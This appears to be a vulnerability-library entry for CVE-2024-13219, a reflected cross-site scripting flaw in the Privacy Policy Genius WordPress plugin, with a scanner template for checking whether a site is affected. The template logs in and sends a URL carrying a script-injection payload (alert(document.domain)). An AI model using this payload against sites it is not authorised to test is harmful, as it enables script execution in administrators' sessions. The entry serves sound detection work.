/Vulnerability Library

Privacy Policy Genius - Cross-Site Scripting

CVE-2024-13219
Verified

Description

Privacy Policy Genius WordPress plugin v2.0.4 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Severity

Medium

CVSS Score

6.1

Exploit Probability

2%

Affected Product

privacy_policy_genius

Published Date

February 6, 2026

Template Author

sourabh-sahu

CVE-2024-13219.yaml
id: CVE-2024-13219

info:
  name: Privacy Policy Genius - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    Privacy Policy Genius WordPress plugin v2.0.4 contains a reflected cross-site scripting caused by unsanitized parameter output in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to the latest version of the plugin where input sanitization and escaping are properly implemented.
  reference:
    - https://wpscan.com/vulnerability/3ad02238-dce1-48ce-986f-fef36b110b2d/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13219
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13219
    cwe-id: CWE-79
    epss-score: 0.01546
    epss-percentile: 0.81613
    cpe: cpe:2.3:a:waelhassan:privacy_policy_genius:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: waelhassan
    product: privacy_policy_genius
    publicwww-query: "/plugins/policy-genius/"
  tags: cve,cve2024,waelhassan,privacy-policy-genius,wordpress,wp,wp-plugin,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=privacy_guru&tab=audit"></script><script>alert(document.domain)</script><script>&refresh=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "></script><script>alert(document.domain)</script><script>", "privacy_policy")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022058711899d71d6583e652e4403ed0ae2a5925d18609e8355c42f53633f6d48ef702201a5a060aa6e389138b487d887479328eca1cc74cf7a9a0f392fe543fcb10ac8b:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-13219
CWE ID:
cwe-79

References

https://wpscan.com/vulnerability/3ad02238-dce1-48ce-986f-fef36b110b2d/https://nvd.nist.gov/vuln/detail/CVE-2024-13219

Remediation Steps

Update to the latest version of the plugin where input sanitization and escaping are properly implemented.